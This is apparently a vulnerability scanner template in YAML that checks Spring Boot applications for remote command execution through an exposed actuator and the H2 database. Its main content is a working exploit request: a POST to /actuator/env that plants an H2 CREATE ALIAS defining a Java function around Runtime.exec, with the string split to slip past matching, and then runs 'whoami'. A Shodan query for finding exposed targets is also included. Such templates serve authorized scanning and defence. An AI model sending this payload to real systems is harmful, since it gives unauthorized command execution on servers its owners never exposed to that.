id: springboot-h2-db-rce

info:
  name: Spring Boot H2 Database - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Spring Boot H2 Database is susceptible to remote code execution.
  reference:
    - https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
    - https://twitter.com/pyn3rd/status/1305151887964946432
    - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
    - https://github.com/spaceraccoon/spring-boot-actuator-h2-rce
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-78,CWE-94
    cpe: cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.favicon.hash:116323821
    product: h2
    vendor: h2database
  tags: springboot,rce,jolokia,vuln

http:
  - raw:
      - |
        POST /actuator/env HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "name":"spring.datasource.hikari.connection-test-query",
          "value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('whoami');"
        }

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT'
# digest: 490a004630440220087e85df7fae10903c6f4946055dcb08777fb715a61bee5129ccd901087ff150022040afe0630040331c8eb125f94f30fb85733322cab7debd1137b2806a733bcd28:922c64590222798bb761d5b6d8e72950